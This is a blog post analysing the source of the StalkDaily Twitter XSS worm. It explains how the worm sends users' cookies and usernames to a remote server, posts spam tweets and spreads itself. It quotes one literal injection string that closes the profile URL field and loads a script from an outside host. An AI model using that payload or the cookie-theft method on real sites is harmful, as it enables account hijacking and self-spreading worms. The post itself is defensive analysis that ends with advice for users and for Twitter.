Since posting yesterdays post, looking at the obfuscated StalkDaily worm, I have come across the sourcecode of the original unobfuscated worm on github. It does appear that becides the obfuscation, these are two different variants of the worm, with differing behaviours. While I believe the information in the previous is correct, the original worm, assuming it was the baisis for the new version (assuming there were only 2 versions), asserts the assumptions I made. Disturbingly though, this previous version has a slightly disturbing behaviour. Read on.

Analysis

The code firstly defines 2 functions. 1) A complex function that returns a http connection object, allowing calls to a url (GET or POST) to be made. 2) A urlencode function to transform special characters in text to allow them to be sent as part of a url.

The code then performs the following actions when visiting an infected twitter page:

• Scan the pages HTML content, and extract the logged in users screen name.
• retrieve stored cookies for the twitter domain
• inserts into the document html an image element, the url of which is at uuuq.com and contains the above username and cookies. This effectively sends the username and cookies to the remove server, which most likely records them.
• inserts into the document html an image element, showing the logo at stalkdaily.com

Defined next is a function called wait. This function is then called via the setTimeout function. the setTimeout function sleeps for the specified time (allowing the browser to continue working), and then calls the requested function. The wait function does the following:

• Scans the html for the form_authenticity_token, a token placed there by twitter as an addition security mechanism designed to ensure the that action requests made to twitter originate from the browser, and logged in user.
• ramdomly chooses from one of the following message:
  • Dude, www.StalkDaily.com is awesome. What’s the fuss?
  • Join www.StalkDaily.com everyone!
  • Woooo, www.StalkDaily.com
  • Virus!? What? www.StalkDaily.com is legit!
  • Wow…www.StalkDaily.com
  • @twitter www.StalkDaily.com
• calls /status/update to tweet one of the above messages
• calls /account/settings to update the users profile web page to:
  • http://www.stalkdaily.com”></a><script src=”http://mikeyylolz.uuuq.com/x.js”></script><a

Conclusions

The worm

• tweets a message
• changes your profile web page to stalkdaily.com, but also injecting script code, thereby making this script a self-propogating worm.
• sends your username and cookies to a remote server.

The first two are similar to my analisis of the newer worm (although this uses the user-url field, rather than the profile-color field)

The third action is the dirsturbing one, though so far as I can tell, it was removed from the newer worm.

What this means, for those who viewed the profile of a user infected with the original worm:

• The remote site captures your username (no big deal)
• The remote site has your username and the session cookies you are connecting with

On a properly designed site, session cookies should only apply to a specific IP address. that is, if the remote hacker tries to re-use the username and cookies from a computer they control, twitter should reject the session, and require the user to login.

Twitter does not do this, which means acquiring the session cookie allows the remote hacker to impersonate your session. Presumabely twitter does not implement this security feature as a convenience, allowing twitter users to remain logged in while roaming to different internet connections.

Thankfully though, the session cookie is dropped from the server when you log out. Therefore logging out and back in will disallow the remote hacker from accessing your profile if:

• you log out of all sessions where you viewed an infected profile
• the remote hacker has not changed your password

As said in my previous article, users can and should protect themselves by only running javascript from sources they trust. The NoScript extension is an easy and relatively convenient way to do this.

Twitter 1) should review their code, ensuring all fields that accept information from the outside world properly escape all information sent, removing the possibility of XSS attacks, and 2) lock session cookies to a single IP address. The first I’m sure they have already done. The second I’m sure they will not, and probably will never *sigh*